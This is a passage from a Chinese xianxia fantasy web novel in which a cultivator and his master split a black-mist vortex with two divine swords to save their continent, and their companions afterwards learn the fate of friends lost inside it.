忘忧泽急得飞上前阻拦,兄弟两却已经消失在旋涡中,不见踪影。 “尘恕,鬼召!" 漩涡中没再传出回音。 聂更阑沉声开口:“忘忧泽,你也应该回去。 忘忧泽猛地转头,惊愕看向他,“聂哥哥.怎么连你也这么说。" “我不走,我只想永远待在你们身边! 聂更阑幕目不转睛看着他,声音出奇平静,“你并不是想待在我们身边,而是看中师尊有飞升之资,想成为师尊的灵宠随他一同飞升上界。 忘忧泾被他声音冷酷地陈述激得浑身一颤 “当年赫连金元飞升之际,并不是匆匆忙忙没带走归墟仙草,而是带着归墟仙草飞到一半时,你奔了出来将仙草召唤掉落,是不是?" 忘忧泽脸蛋煞白,唇哆嗦一下,有些害怕地往后退了一步,“聂哥哥,我、我不知道你在说什么。 聂更阑摇摇头:“我见到赫连金元了。” “当年之事,他已全数告知于我。” 忘忧泽浑身一颤,冰蓝双瞳骤然睁圆,磕磕巴巴道: “你见到了赫、赫 “怎么可能?!" 聂更阑:“我没必要骗你,否则怎会识破你的谎言?你若想见他,他一直在等你。 忘忧泽飞快地警向那黑霉漩涡,猛地摇头,“你骗我,他不在那里。 聂更阑:“此乃上古诸神祭魂大阵,他已经位列仙班,诸神都在此处,我为何见不到?" “你不过是气他没有带你飞升上界,想借着他人飞升去往九重天,当着他的面气一气他罢了。 说罢,聂更阑掌心一道灵力骤然落在忘忧泽身上,下一刻,他身上飞出两件器物。 条绫野流光丝带,一个玉制的烛台。 忘忧泽见状手忙脚乱要去扑,却因为被发现秘密而心慌意乱,并未抓住 聂更阑:“这是在金元秘境的水晶宫里,你偷偷藏起的属于北楼衣的物件,对么?" 忘忧泽嘴巴顿时张大,不可思议地瞪着面无表情陈述事实的青年。 “你想把楼衣的器物带到九重天,借此气赫连金元,表明你进过水晶官,曾破坏过他留给衣的物件。 “是也不是?" 忘忧泽被他逼问得踉跄后退,双手捂着耳朵猛地摇晃脑袋,“我不知道你在说什么,别说了,别说了!" 聂更阑没有停,声音似魔音一般钻入他耳内,“赫连金元如今受了很严重的伤,若你想见他,须得抓紧时间,他不一定能挨得过三个月—— 银发蓝瞳的少年猛地放下捂住耳朵的手,沉声问:“你、你说什么?" 聂更阑:“黑雾漩涡即将从流月大陆消失,你若想见他,只有这唯一的机会。 忘忧泽双目迅速充血泛红,眼眶盛满晶莹,旋即,毫不犹豫地,他纵身一跃进入了黑漆漆的漩涡中。 聂更阑发出一声叹息 他撒了谎。 唯有这样,忘忧泽才能心甘情愿回到属于他的世界。这样对谁都好 所有人惊愕地看着这一幕,不知到底发生了何事。为什么这些神奇和这些少年都要进入黑漩涡? “忘忧泽!" 在银发少年身影消失之后,北溟朔狂奔过来,却连他一根头发丝都碰不到 “哥!”北溟朔崩溃地回头大吼,“你们到底为什么一定要他跳进去!他不过是一只可爱单纯的小妖,就不能有话好好说,放过他吗! 然而还未等他吼完,众人身处的这座万神山开始地动山摇,发出震天巨响。 元千修皱眉望着烟尘四起的万神山四周,扬声大叫:“莫非是黑雾漩涡正在吞这座山? 听他这么一说,四周纷纷传来恐慌的尖叫。 元千修沉声喝道:“都别慌!" 他转头看向聂更阑和清鸿剑尊,“加快速度,这座山恐怕要沉了!" 清鸿剑尊颔首,道: “阑儿。 “嗯,师尊。” 聂更阑应了一声,扬声呼唤:“许田田!" 人群中立时传来回应,“我、我在这儿!" 许田田扶着许临风一步一挪从人堆里走了出来,满脸写着惶恐,“聂、聂更阑,你该不会也想让我们跳进这个旋涡把? 聂更阑摇头,道:“把临风交给我。" 许田田一听顿时如临大敌,扶着昏迷的许临风连连往后退。 连日来被漩涡追着逃亡,许临风撑不住,早已又再次陷入沉睡,此时亦是不省人事 许田田睁大眼睛,瞳孔震颤盯着凝视自己的青年,双腿发软,几乎要站不稳。 然而聂更阑神色淡漠,脸上没有任何表情,也并未表现出任何心软的迹象。 许田田被那双淡色琉璃的眼睛盯着,被四周这么多双眼睛注视着,忽然由害怕转变成了愤怒,没来由一阵冲天火气往上蹿 “聂更阑,我告诉你。 “聂更阑,我告诉你。 “就算我死了,也绝不会把这丫头交给你! “除非,今日你从我的尸体上踏过去!" 160-163 第161章 清鸿剑尊“噗”地从口中喷出一滩鲜血。 洪渊道祖目光掠过徒弟满头白发以及那双空茫的白瞳,眉心一皱,快步上前弯身扶住徒弟的肩头,“肃秋,你神魂消耗过度,身体衰败过快,究竟发生了何事致使你落到这般境地?” 聂更阑看着地上触目惊心的红,眼眶酸涩恳求:“请师祖救救我师尊!” 四周的灵音宗弟子、修士们哗啦围了过来,满满当当拜了一地,异口同声道:“见过洪渊道祖!” “请道祖施救剑尊!” 而此时,聂更阑正在传音,简短地将流月大陆所发生之事悉数告知了洪渊道祖。 后者听完不禁发出一声长叹:“千年前为师为救你心甘情愿埋入秘境,没想到千年后出关,你却仍在遭遇劫难。” “师尊……是我不争气。”清鸿剑尊口腔溢满血腥之气,艰难地吐字。 洪渊道祖正欲说什么,却听到跪了一地的人群之外忽然传来一道不耐烦的声音。 “洪渊道祖。” 所有人立时转过头去看,发现居然遗落了一个人并未跪地,而是衣袍猎猎站在狂风中目光如炬直勾勾盯着洪渊道祖。 流光真君神色冷淡,毫不避讳同人群最中心的道祖对视,“你的徒弟都快死了,就别再说些冠冕堂皇的虚话,该怎么救就怎么救吧!” 此话一出,众人顿时吓得脸色煞白。 这可是灵音宗的洪渊道祖啊! 当年无间魔域并未封禁,无数修士丧命于数只魔兽爪下,人人闻风丧胆惶惑不安。 而正是洪渊道祖凭一己之力重伤数只魔兽,并将其赶回魔域,致使这些魔兽数千年不曾再敢在流月大陆流窜,从而隐匿在无间魔域养伤数千年。 若非洪渊道祖出手,恐怕流月大陆也会如同今日这般被那些法力奇高的魔兽搅荡得风雨飘摇,迟早迎来灭亡。 洪渊道祖于流月大陆而言是人人敬仰的一代宗师,是救世主,更是人人心中长存的一盏明灯。有洪渊道祖在,似乎流月大陆就永远不会陷入最难堪的境地,永远不会消亡。 而现在,春雨阁的一个小小真君居然敢当着修真界所有人的面公然和洪渊道祖叫板,言语间夹枪带棒,颇多讽刺。 这无异于和最尊贵的执掌九重天的元始天尊帝丘公开骂战扬言要冲到天界把这位当权者赶下帝位一般逆行倒施,图谋不轨。 因此,也无怪乎众修士在听到流光真君一番犯上的发言后吓得脸色惨白。 空气中安静一瞬。 紧跟着,春雨阁于阁主以及修士们争先恐后呵斥这个大逆不道之人,“流光,你是不是脑子被魔头打糊涂了!这可是洪渊道祖!” “流光真君,洪渊道祖当年可是力挽狂澜才避免修真界生灵涂炭,你这番言论未免也太忘恩负义,薄情——” “啪。” 还在噼里啪啦斥责不停的众人瞬时被施下禁言术,嘴巴愤怒一张一合但却发不出声音。 大伙惊恐地、缓缓地看向抬起手的洪渊道祖,却见他被人顶撞并无不愉,只是温声道:“这位道友说的没错,事态紧急,当务之急是救治我徒儿要紧。” 流光真君鼻中发出一声低微轻嗤。 不知为何,他怎么看这人都不顺眼。他越是端庄,他便越觉得他道貌岸然,伪君子做派。 流光真君在诸神大陆时关于帝丘的记忆在出黑雾漩涡后已经被清空。 这乃是他下意识本能的反应。 只听洪渊道祖这时出声:“肃秋的衰败之象是由这黑雾漩涡造成,如今只有终音太初配合斩向漩涡方可解除流月危机,令肃秋重新焕发生机,可对?” 聂更阑抱紧了怀里的人,道:“是。” 洪渊道祖沉吟片刻,接着看向那两把一直在四周飞舞打转的剑灵,“既是需要心意相通之人合力使剑,不如,便由我代为——” 不料,只听到流光真君再次冷笑出声,“洪渊道祖真是说笑了,你是渡劫大圆满的飞升之体,所悟之道境界旷世无匹,谁能与你心念合一使出这救世一剑?” “况且这是清鸿剑尊需要渡的劫难,洪渊道祖随随便便抢了别人的渡劫机缘,怕不是有心阻止徒弟飞升不成?” 死一般的寂静传来。 不光春雨阁众人听得心惊肉跳,所有人都开始手抖腿抖,莫名恐慌,奇也怪哉,洪渊道祖分明向来都是温和可亲,众人却在听到有人挑衅时无端生出一种想逃的恐惧感。 春雨阁的于阁主冷汗涔涔,拼着浑身的力气咬牙站起身,企图冲过来把流光真君拖走。 “流光,你给我住口!” 但于阁主还未走近却被一块石头绊住脚砰地一声摔倒在地。 众人想笑又不敢笑。 “呵呵。” 洪渊道祖柔和地笑了笑,一挥手,一股温和的灵力飞向于阁主将他扶起,“无妨,逆耳之言最为诚挚,不必介怀。” 于阁主和众多修士不禁为洪渊道祖广阔的胸襟和至高无上的境界所折服,纷纷赞叹不已。 流光真君神情讥讽,独独站在众人之外同洪渊道祖虎视眈眈,仿佛一只恨不得随时扑上去嘶咬猎物的凶兽。 只听洪渊道祖道:“既然这位流光真君见解独到,便请真君与我合力使剑破除此局,不知真君意下如何?” 此言一出再次震惊整个山头。 “道祖,”元千修惊得舌头差点打结,“您不是在开玩笑?” 洪渊道祖颔首:“唔。” 流光真君忍无可忍,“洪渊,你难道听不懂人话,这次乃是属于清鸿剑尊的渡劫机缘,你要代劳徒弟破局我等纵然心存感激,但你须得问问剑尊的意愿,过于武断越俎代庖,这难道便是一代道祖风范?” 疯了,疯了。 众人只觉得今日一茬又一茬风波频发,这流光真君也不知吃错了什么药,从洪渊道祖出现后便频频争锋相对,这两人面无异色,却苦得他们心惊胆战生怕大战一触即发。 于阁主已经被气得快要厥过去了。 元千修道:“道祖,流光真君方才是与剑尊以及聂长老一同进入漩涡而安全折返回来之人,他的提议不无道理,道祖您看——” “原来如此。” 洪渊道祖闻言,视线落到聂更阑及其清鸿剑尊身上,又看向流光真君,目光中忽然多了一丝意味深长。 上古诸神祭魂大阵,生者入阵,须得另一个生者自愿进阵方能拯救其性命。” 聂更阑有慕容证雪、君杳然代替其进入,独孤苍眠为清鸿剑尊冲了进去,那么流光真君呢? 众人瞥见洪渊道祖沉吟的目光,不少人不免也想到了这个问题,不禁满腹疑团看向流光真君。 洪渊道祖移开目光,只听他问:“肃秋。” “你可还有心力挥出这一剑?不必为难,只需照实说即可。” 清鸿剑尊苍白的唇沾染的血迹已经被聂更阑擦净,整张脸是统一的白,嘴角牵动时扯得心口也阵阵泛疼,“师尊,只要能拯救流月大陆,弟子并不在意是谁破局。” 说着,他将目光投向那两把旋绕飞舞的剑灵,道:“只怕是终音太初两把神剑不肯受师尊和流光真君操控,毕竟它们已经认了主。” 聂更阑闻言,呼唤自己的终音剑来到跟前,抚了抚剑灵,低声道:“听到了么?你随流光真君一道,稍后只要让真君使出一剑即可。” 不仅终音剑听懂了,太初剑也听懂了。 但听懂了不代表乐意被旁人触碰。 两把神剑猛地不停抖动剑身,虽没无真身却无端让人看出它们万般不愿的心思。 聂更阑看向洪渊道祖和流光真君,“师祖,真君,不妨试试?” 于阁主蹙眉道:“流光,还不过去试试?” 流光真君嘴角抽搐几下,原本不屑揽下这个烫手山芋,却见那头的洪渊道祖一双眼眸飘飘渺渺觑了过来。 流光真君一时间不只是因为毫无缘由的偏见还是真看出了洪渊道祖眼里包含的戏谑,脑子一热信步来到聂更阑面前,接过了那把终音剑。 剑灵在下一刻化为实体,被握于手中。 方才一直闹腾的剑这会儿倒是老老实实不动了,安安静静躺在流光真君手中。 洪渊道祖亦然,握着毫无动静的太初剑打量几息,道:“好剑。” 流光真君:“……” 众人见二人能握住两把神剑,心下稍宽,如此一来,流月大陆危机可解矣。 聂更阑停下向清鸿剑尊输送灵力的手,道:“师祖,真君,请。” 洪渊道祖忽然道:“不忙。” 众人目光皆投向他。 流光真君很想腹诽一句“你又想发什么疯”,但脑海下意识又觉得自己今日着实过于怪异,生生忍了下来。 这时,洪渊道祖一手执着太初剑,蓦地劈向最近的一棵参天古木。 此一击并未有剑气溢出,轰向古木的只有洪渊道祖磅礴的袖风灵力,震得那棵十人合抱的古木树叶簌簌掉落。 “神剑有灵且已认主,即便有主人的命令也不肯发挥神力,”洪渊道祖声音清晰地传遍整个峰头,随后看向徒弟,“肃秋,看来确如流光真君所言,此番破局是专属于你的机缘,旁人不可代劳。” 流光真君轻哼了一声,声音低到微不可闻。 聂更阑却焦急地看向怀中之人,“师尊,你没有心力再——” “无妨。” 清鸿剑尊方才一直在调息,再加上聂更阑替他源源不断输入的灵力,此时尚能勉力挥出一剑。 聂更阑见他要起身,连忙把人搀扶站起。 清鸿剑尊看向洪渊道祖:“弟子在师尊面前献丑了。” 后者摆摆手,遂伸手按在他肩头。 清鸿剑尊感受到一股纯正清凉而强大的灵力正不断散入骨髓灵脉之中。 洪渊道祖旋即在他心口处施下一个护心阵法,融入他心脏中。 耀眼光芒没入体内,清鸿剑尊苍白的面色瞬间恢复了一丝血色。 洪渊道祖:“你衰败之象过于盛,此阵法只能维持片刻,须得速战速决。” 清鸿剑尊点点头,“谢过师尊。” 旋即,四周再次空出一片场地。 终音、太初神剑回归主人手里,发出嗡鸣声,似是在蹭主人手心。 聂更阑、清鸿剑尊同时握紧剑柄,起势—— “师尊。” 清鸿剑尊:“嗯。” 聂更阑凝神盯着眼前广阔无垠已经湮没半边万神山的黑雾漩涡,开始数数。 “一、二……” “三!” 最后一个字落下,师徒二人终于同时出手,太初终音满剑华光四溢,斩向那无尽的黑雾漩涡。 心念合一,神威浩荡,湛湛光芒斩苍穹。 黑雾漩涡被合二为一的神剑华光从中分开一条细微的缝隙,狂风再次掀起,吹得人们以袖遮住飞沙走石侵袭。 被分开一条缝的漩涡如同被斩裂的丝帛,很快向两旁流动四散而去。 彷如汪洋大海的黑雾漩涡,在片刻之间在山川菏泽之间迅速流动退散,仿佛洪水退潮一般。 狂风仍在持续,吹得万神山上的草木灵植弯折了腰。 众人眼睁睁看着光芒万丈过后,万神山之前被覆盖的山峦峰头渐渐显露。 早已有心急的修士御剑飞向远处查看情况,一边飞一边欣喜大叫:“退了,退了,全退了!” “退的速度远远超过扩散的速度,不出半个月,被吞噬的地方就都能出来了!” 众人顿时发出震天响的欢呼声。 “成了,成了!” “修真界没有成为魔族奴隶,流月大陆保住了!” 而这时,此前被弃在一旁的魔衍星盘从中钻出一缕黑烟,在众人欢声雷动不为人注意的情形下倏然飘散,很快消失不见。 修士们大喜过望之后,旋即纷纷拜倒在地,齐齐朝着聂更阑和清鸿剑尊跪拜。 “聂长老,清鸿剑尊,两位仿佛圣君神祇拯救了流月大陆,避免修真界成为魔族阶下囚的凄惨命运,二位简直是我们的救世主啊!” “是啊是啊!” “请二位受我等一拜!” 霎时间,整个峰头处处回荡着感激聂更阑及清鸿剑尊的嗡嗡声。 树摇风动,山石仿佛发出“呜呜”的鸣泣。 聂更阑偏过头,看到师尊唇角微微一勾,低声问:“师尊笑什么?” 清鸿剑尊撑着虚弱的身体试图起身,被聂更阑扶着慢慢站直了身体。 清鸿剑尊一头白发有发梢在狂风中飘舞飞荡。 他朝徒弟慢慢抬起手臂,招了招手。 鬼使神差的,聂更阑被那双毫无聚焦的白瞳吸引,不由自主侧着耳朵贴了过去。 温凉的唇贴上耳垂时,轻轻摩挲蹭过,激起一阵痒意,旋即一触即分,如同蝴蝶亲吻叮咚溪水。 聂更阑耳根烫了烫。 而后,在呼啸山风与簌簌枝叶摆动声中,他听到了师尊似淙淙泉水温柔淌过的声音漫入发烫的耳里。 “为你感到欢欣。” …… 在山峰另一头,白衣人始终如影子般伫立于后方,淡而无存在感。见聂更阑与清鸿剑尊亲密依偎却并未听到声音,便知他们在周身落了结界。 白衣人目光幽幽,直至深邃。 蓦地,洪渊道祖似有所感,遥遥朝着白衣人方向看了过去。 第162章 白衣人目光幽寂,与洪渊道祖在空中视线相接。 一众修士中,合体期不在少数,是以洪渊道祖初时并未发现白衣人的存在。 下意识的,洪渊道祖觉得此人透着怪异,于是转头看向徒弟,“肃秋——” “噗。” 岂料清鸿剑尊脸色一白,猛地吐出一滩鲜血,白瞳猛地紧闭,竟是直接晕倒在聂更阑怀里。 “师尊!” “清鸿剑尊!” …… 山风寒凉,林涛萧萧。 于流月大陆盘亘近半年多之久的黑雾漩涡已然慢慢消散。 所有被湮没过的山川河流、城池、村庄、林海等,逐渐露出之前原本的样貌。 聂更阑、清鸿剑尊师徒双双白头救世,铲除魔族,灭魔阵。清鸿剑尊更是白瞳失明,魔纹缠身,最后在万神山神魂受创,丹田灵根损毁,心力交瘁倒在徒弟怀里陷入了昏迷。 至此,师徒二人声名煊赫一时,从此更是在流月大陆名垂千秋,与洪渊道祖一同载入流月大陆时势变迁史册之中。 …… 而清鸿剑尊这一昏睡,便是半个月之久。 期间,整个修真界、妖族、鬼域、东海、北海皆是百废待兴,忙碌不停,沉睡的繁盛正逐渐复苏。 元千修自然又忙成了一只陀螺,成日不是转到这儿,就是转到那儿。 各个宗派除了处理宗内要事,还开了一次大会,与灵音宗商议要给聂更阑、清鸿剑尊师徒二人修几座纪念雕像。 整个流月大陆忙成一团的时候,灵音宗玉髓峰上的人声亦是没断过。 白衣人在清风殿住了下来。 清鸿剑尊一日不醒,洪渊道祖便时时告诫他,须得重回清鸿本体,助他早日苏醒。 但白衣人一再表明不会回去。 “他也定然不愿我回去。”白衣人道。 洪渊道祖负手于身后,神色冷淡睨着徒弟的这尊分神,一把神剑忽然浮现于掌心,剑气四溢横在了白衣人脖颈间。 白衣人颈间有血丝溢出,但依旧不为所动。 聂更阑正在内殿照看师尊,无暇顾及外面的动静。 洪渊道祖平日和善的面容此时分外疏冷,渡劫期的威压全然释放,已然把白衣人的脊背压弯。 蓦地,玉髓峰不远处传来一阵闷哼。 “老不死的——” 洪渊道祖剑气一松,周身威压顺势消散,剑芒迅速黯淡。 白衣人喘了口气,立即飞身撤退几丈,以防备警惕的姿势盯着神色冰冷的洪渊道祖。 玉髓峰上空威压消散后,下一刻。流光真君捂着胸口冷冰冰出现在清风殿外。 恰好看到洪渊道祖把剑从白衣人脖颈处撤走。 流光真君眼神立时透出一丝不耐和冰冷:“清鸿剑尊选择令分神出窍,为的就是压制修为暂时不飞升,你强逼分神回归,届时剑尊醒来被迫飞升与道侣分离,便是拆散了一对有情人,岂不是招人怨恨。” 洪渊道祖手中的剑消失,疏冷神色淡了几分,“流光真君在无人处骂本君老不死,这便是春雨阁的宗门风气和教规?” 流光真君面色掠过一丝不自然:“……” 他不过是心念一闪,这老不死的为何能听到? “第二次。”洪渊道祖脸色平淡,双手背于身后。 流光真君瞬时恼羞成怒:“恬不知耻!你敢用窥神之术偷听我的神思!” 洪渊道祖方才的冷意已然消失,恢复了往日的春风细雨,微微笑道:“真君何出此言?” “人前一套,背后一套,”流光真君似是气极而笑,“洪渊道祖看来是个中高手。” 这话在别人耳里是为大不敬,恐怕当场就要拉着流光真君下跪磕头了。 “噗通!” 月形拱门外传来一阵巨响。 几人蓦地转头,发现是北溟朔带着好几个人站在外头,正惊恐得双腿战战差点要跪下来。 许田田和慕容家、君家的家主惶然看着同洪渊道祖冷脸对峙的流光真君,几乎以为自己是不是听错了。 北溟朔和许田田连忙把身形一歪的君、慕容两位家主扶起。 流光真君神色如常,冷淡的面容稍霁,道:“洪渊道祖还是莫要再固执己见,当事人不肯,便休要再进行强迫。” “清鸿剑尊、白衣人不愿意,聂长老也定然不愿意。” 内殿中正在照顾昏迷的师尊的聂更阑:“……” 他望向师尊依旧苍白的脸,握紧那双泛起青筋的手。 若是能让师尊苏醒,他宁愿师尊立地飞升,也不肯看着他一日日在昏睡中面容憔悴下去。 可他却不敢做主了。 师尊目前尚无大碍,但就是无法醒来。 聂更阑踟躇过许久。 因着有前车之鉴,他怕再次擅自主张令师尊生气。 北溟朔看着流光真君洪渊道祖二人对峙,受了刺激,脸一跨又开始啪嗒啪嗒掉眼泪。 “嗷嗷!” 众人被忽然传来的痛哭流涕吓了一跳。 北溟朔开始鬼哭狼嚎:“我的忘忧泽!” “为什么要把他赶走,忘忧泽就是个单纯善良的少年,我都已经同他表明心迹了——” 众人:“……” 流光真君被这嚎啕大哭吵得眉心一跳一跳,拔脚就走,“本君稍后再来看望剑尊。” 待到出了清风殿,哭嚎声终于弱化不少。 流光真君心下稍松,被玉髓峰的寒风一吹,发热的头脑多了几分清醒。 旋即一怔。 他方才又冲着洪渊道祖发火了? 思及此,流光真君打算去吹吹风冷静冷静,不料身后传来一道温润而泽的声音:“真君既然得闲,不如到我殿里坐坐,稍后他们谈完真君再去探望肃秋也不迟。” 流光真君心弦立时绷紧,心底升起没来由的警惕。 洪渊道祖却没再多说什么,衣袍飘动间转身向另一座大殿走去。 那是被聂更阑损毁夷为平地的殿宇,在这段时间已经重新建了起来。 流光真君眉心微蹙,心底一边泛起排斥,一边不由自主跟了过去。 …… 清风殿。 许田田捂住耳朵,忍无可忍冲北溟朔大吼,“吵死了!” “又不是死了爹娘,只不过让他回到该去的地方而已,哭什么!” 哭哭啼啼的北溟朔被吼得一激灵。 许田田眼睛也红了:“小爷的的两个好朋友陨落了,我还没哭呢!” 才刚说完,他喉头一哽,登时再也忍不住,哭了起来。 一边哭一边抽噎,“君家主,慕容家主都还没哭,你哭什么,给小爷闭嘴!” 北溟朔:“……” 这时,紧闭的殿门哐啷一声从里打开了。 青年沉丽的眉眼出现在殿内,缓步走了出来。 “君家主,慕容家主。” 君若松、慕容言灵上前拱手:“聂长老。” 聂更阑视线一一环视过众人,停在许田田北溟朔身上:“你们也进来吧。” 众人相视一眼,跟在他身后进入大殿。 聂更阑一一给他们倒了茶。 等到众人坐下时,君若松瞥着聂更阑疲倦的脸,沉声道:“聂长老,清鸿剑尊尚未苏醒,聂长老也应当保重身体才是。” 聂更阑:“谢君家主关心。” 许田田忽然有些过意不去,“我之前提起今日要过来,你怎么不告诉我……早知道你状态不好,我们过几日再过来叨扰也是可以的。” “无妨,”聂更阑确实有些疲惫,摆了摆手,“你们有权知道漩涡中发生之事。” 君若松和慕容言灵相视一眼,二人神色皆面露沉痛。 慕容证雪、君杳然乃是两大家族的天之骄子,资质优越,从小被家族寄予厚望,更是众星捧月的宠儿。 不过两人从不娇气,没有世家公子小姐骄纵的习性,在修炼一事上亦是不需要督促。 而两人从小青梅竹马,形影不离,无论离开家族前往灵音宗求仙问道,亦或是外出历练,皆是相伴相依,福祸同行。两方家族的长辈都认定他们情深似海,日后命中是要结为道侣的。 就是这么一双被两方家族看好的天骄,竟没能逃过此次流月大陆的劫难,就此陨落于祭魂大阵中。 莫说旁人感到惋惜,双方的长辈亲眷更是悲痛欲绝,肝肠寸断。 人人都说慕容证雪和君杳然救回聂更阑一命,也间接是拯救了整个流月大陆。为流月大陆牺牲,他们也算是流芳千古了。 不过也只有当事人的亲眷朋友切身体会其中的悲痛有多深。 眼下,君若松和慕容言灵的眼眶皆是布满血丝,连日伤痛令他们看起来亦是憔悴不已,黯然销魂。 聂更阑看在眼里,叹息不已。 恰好这时,流光真君从洪渊道祖处喝完茶过来了,便与众人一同坐下。也不知是天热还是什么,他脸和脖颈皆有些泛红,看上去活像是与人打了一架。 匆匆饮茶后,君若松率先迫不及待开口问:“聂长老,流光真君,可否告知我等,上古诸神祭魂大阵中究竟发生了何事?” “杳然和证雪,是否一进入大阵便即刻命丧阵中?” 殿内静默须臾。 随后,聂更阑哑声道:“不。” 君若松、慕容言灵皆是一怔。 慕容言灵急忙道:“如此说来,进入大阵并不会立即丧命,他们是在阵中不小心才……” 君若松:“如此看来,独孤苍眠亦是因为同样的缘由而陨落了?” 聂更阑:“一半对,一半错。” 流光真君不禁叹了口气:“君家主,慕容家主,许道友,你们恐怕要做好承受更残忍的事实的准备。” “以及,此事今日只能有你们几人知道,断然不可泄露天机。否则天道降下惩罚,于你们修行一途极为不利。” 许田田和两位家主相视一眼,皆是不明所以。 慕容言灵神色微沉,道:“看来杳然和证雪陨落一事,牵连甚是重大。” 君若松:“聂长老,流光真君,二位若是为难,不若在告知我等事实真相后,对我们施下遗忘之术,我们两家保证绝不对外泄露天机。” 流光真君:“倒不必如此。几位皆是与进入大阵之人的亲眷好友,可以得知真相,只是切记千万不得宣扬出去。” 许田田也意识到事情的严重性,神情凝重地点点头:“明白了。” 流光真君道:“聂长老连日照看剑尊疲劳,便由本君代劳,先从进入大阵后开始说起——” …… 聂更阑不禁对流光真君心生感激。 他确实没什么心思说太多话。 于是从头到尾没怎么插手,只是偶尔在旁补充几句。 流光真君从无名山谷遇到恶童开始说起,再到被迫登上大船,去往燧明岛,接着登上诸神大陆…… 许田田、君若松和慕容言灵听得心中掀起一阵又一阵惊涛骇浪。 在流月大陆能坐镇一方宗派大能的修士,到了无名山谷居然手无缚鸡之力,成为一个小小稚童手底下的冤魂。 就连清鸿剑尊也全无自保之力,在那幽黑而辽阔的大陆成为刀俎鱼肉。 许田田听到他们被带往诸神大陆,当得知慕容证雪和君杳然被三危神君一袖抹杀时,愤怒得从椅子上跳了起来。 “这个三危究竟是什么混账东西,两条人命他说杀就杀——” “许道友,稍安勿躁,”君若松尽管悲痛,但还是冷静地制止了他,“先听流光真君如何说。” 许田田被北溟朔拉着坐了回来。 方才还哭嚎的北溟朔这会儿早就老实了,被所谓的诸神大陆吓得一愣一愣,不知所措。 换成是他进去,怕是早已被那些恶童踩成了肉泥。 于是,众人继续听流光真君往下述说。 …… 当涉及慕容证雪和君杳然的部分叙述结束时,殿内长久地陷入一阵沉寂。 许田田已经彻底呆怔,甚至忘记了悲伤哀痛。 殿内落针可闻,久久没人出声。 最后,还是慕容言灵出声了:“证雪和杳然,他们是……是……” 流光真君:“二位家主无须哀痛,君道友和慕容道友是天命所归,受天道召唤而回,并不是死于非命。” 君若松霎时泪如雨下,竟是哭着笑了。 “杳然,证雪……” 确如流光真君所说,比起死于非命,天命所归确实更能给人以宽慰。 北溟朔早就疑惑许久,这时终于忍不住问:“这么说来,这黑雾漩涡究竟是不是上古诸神祭魂大阵?” “毕竟君杳然慕容证雪是天命所归,并不是代替聂更阑祭阵身亡。” 这话一出,好似他问了一个蠢笨的问题,遭到许田田投来的白眼。 北溟朔挠了挠头:“……” 流光真君:“北溟道友问了个好问题。” “几位不如想一想,独孤苍眠、君杳然以及慕容证雪的确是为了各自想守护之人进入大阵?” 北溟朔:“确实如此。” “那么他们最后陨落在大阵中,便说得通了。” 流光真君顿了顿,接着道,“既然他们自愿入阵,无论如何,最后都要祭身阵中。即便两位小道友不是天命所归。” 北溟朔这下又听懵了。 君若松和慕容言灵却明白了流光真君话里的意思。 二人既是为了聂更阑,也是冥冥之中受天命召唤入阵。 此一行,无论如何都不会再回到流月大陆。 北溟朔靴子碰了碰许田田,“你听懂了?” 许田田朝他又翻了个白眼。 …… 半个时辰后,清风殿大门终于再次开启。 慕容言灵、君若松满脸沉重从殿内出来,随后向聂更阑等人拱手告辞。 即便知道了起因经过,君家、慕容家还是须得替二人举行一场盛大的灵丧。 聂更阑和许田田答应之后会到场参加灵丧葬礼。 两位家主离开后,许田田跟着众人回到殿内。 “你还有一事需要交代。” 聂更阑看着好友沉重的神情,点了点头。 “等等。” 许田田捂住耳朵,摇了摇头,“女魃一事,该不会也有什么沉重的理由吧?” 他忽然不想听了。 北溟朔一阵无语,眼疾手快扯开他的手,“婆婆妈妈,聂更阑哪有这么多时间陪你磨叽,我哥还等着他去照顾呢。” 许田田一听也是,旋即放开了手。 聂更阑便把之前对于女魃的猜测一一述说,全盘交代。 许田田:“你是说,灵兽峰后峰一直囚禁着的那只女魃,就是丫头被附身的这只?” “是。” 聂更阑:“女魃力大无穷,且身负奇术,若她不属于诸神大陆和无名谷,便不会听我召唤回归。” 因此,女魃进去后,他才终于确定女魃的的确确属于那片广阔幽暗的天地。 而三危神君、后卿神君之前并未告知他们流月大陆还有女魃这样一个遗落的“实验品”。 以及,还有另一件神器,魔头稹肆的魔衍星盘。 能镇压金额巨蟒的魔衍星盘,也绝非像流月大陆的产物。 所有从诸神大陆掉落的神器,若是有足够的契机,每一件都能给流月大陆带来毁灭性的打击。 他不能确保没有漏网之鱼,但已经做到把所能接触的危险神器都放入了黑雾漩涡。 四周又是一阵长久的寂静。 北溟朔心神震撼,久久说不出话。他万万没料到,那只看似单纯善良的狸吾妖,居然也出自诸神大陆,乃是两个神君的研制的实验品。 而鬼召尘恕当初也是从无名谷被接到诸神大陆,兄弟二人为了变强,心甘情愿成为诸神大陆万千实验神器中的一件。 流光真君禁不住感慨:“三危后卿捅了这么大一个篓子,若不是聂长老心细如发,恐怕流月大陆此后还要再次陷入灭亡危机中。世人并不知聂长老私下操心了这么多,真是……” “可恶!” 突如其来的一声怒喝从旁传来把流光真君和北溟朔再次吓了一跳。 只见许田田又从椅子上站了起来,愤怒地攥紧双拳,双目炯炯瞪着聂更阑。 北溟朔头皮一紧,赶紧把他扯回座椅,“你又发什么疯?聂更阑已经做了所有能做的,许临风也安然无恙,他没做什么对不起你的事吧?” 许田田眼眶唰地红了,咆哮出声:“他没有做对不起我的事。” 北溟朔抹了一把被喷到脸上的唾沫:“……” 没有就没有,这么愤怒得像是要杀人的模样是要作甚? 许田田义愤填膺道:“小爷我以后看谁还敢对聂更阑乱嚼舌根,他做了这么多守护流月大陆的事,那些人再谣言中伤他,我就和他们拼命!” 北溟朔:“……” 倒也不必拼命。 流光真君:“许道友,过于激动伤神。” 聂更阑道:“坐下说话。” 许田田:“哦。” 遂老老实实坐回了椅子。 聂更阑:“关于女魃附身临风的起因经过,待她痊愈后再另行询问。” 许田田又愤怒了,第三次腾地从椅子上站起身:“这事和周炎那伙人定然脱不了干系!” 北溟朔一听,连忙道:“这段时日宗门上下忙得不可开交,那两个叛徒如今被关押在囚仙狱,须得等候公审才能进行处决。” 聂更阑这些天并未过问外界之事,道:“何时进行公审?” “七日后。” …… 几人从清风殿出来后,流光真君罕见地没有离开玉髓峰,而是去了洪渊道祖的渊明殿。 北溟朔连忙把人叫住:“停剑坪在另一边,真君是不是走错了?” 流光真君以袖掩面咳了一声,“洪渊道祖邀请本君喝茶,却之不恭,本君须得赴约。” 北溟朔看着往渊明殿方向走去的流光真君,不由张大了嘴巴:“又去?” 